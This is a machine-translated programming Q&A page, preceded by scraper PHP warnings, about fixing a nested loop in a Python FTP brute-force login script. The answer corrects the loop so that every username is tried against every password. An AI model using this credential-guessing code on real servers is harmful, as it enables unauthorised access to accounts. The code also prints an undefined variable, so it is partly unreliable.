Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/277.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
嵌套for循环在python中不起作用_Python_For Loop_Ftp_Brute Force - Fatal编程技术网

嵌套for循环在python中不起作用

嵌套for循环在python中不起作用,python,for-loop,ftp,brute-force,Python,For Loop,Ftp,Brute Force,嘿,伙计们,我已经为ftp暴力编写了一个脚本,但它现在正在工作…每次它忽略第一个循环…请有人帮助我 from ftplib import FTP h=raw_input("Enter Host") ftp = FTP(h) fobj = open("passwords.txt",'r') fob1 = open("usernames.txt",'r') for unm in fob1: i= unm.rstrip() for pas in fobj: p=

嘿,伙计们,我已经为ftp暴力编写了一个脚本,但它现在正在工作…每次它忽略第一个循环…请有人帮助我

from ftplib import FTP
h=raw_input("Enter Host")
ftp = FTP(h)


fobj = open("passwords.txt",'r')
fob1 = open("usernames.txt",'r')


for unm in fob1:
    i= unm.rstrip()
    for pas in fobj:
        p= pas.rstrip()
        try:
            print"trying :",i,p
            ftp.login(i,p)
            print "USER AND PASSWORD FOUND",u,p
        except:
            pass
fobj.close()
fob1.close(
)您的close()语句似乎放错地方了?也许只是缩进中的一个错误

您可以在内部循环(密码)后关闭文件,然后在使用新用户名返回时重新打开。这将迫使重置回到顶部

un_file = open("usernames.txt",'r')

for unm in un_file:
    i= unm.rstrip()
    pw_file = open("passwords.txt",'r')
    for pas in pw_file:
        p= pas.rstrip()
        try:
            print"trying :",i,p
            ftp.login(i,p)
            print "USER AND PASSWORD FOUND",u,p
        except:
            pass
    pw_file.close()
un_file.close()

你需要找到文件的开头才能再次阅读。是的,但是我怎么做呢???嘿,伙计们,请有人来解决这个问题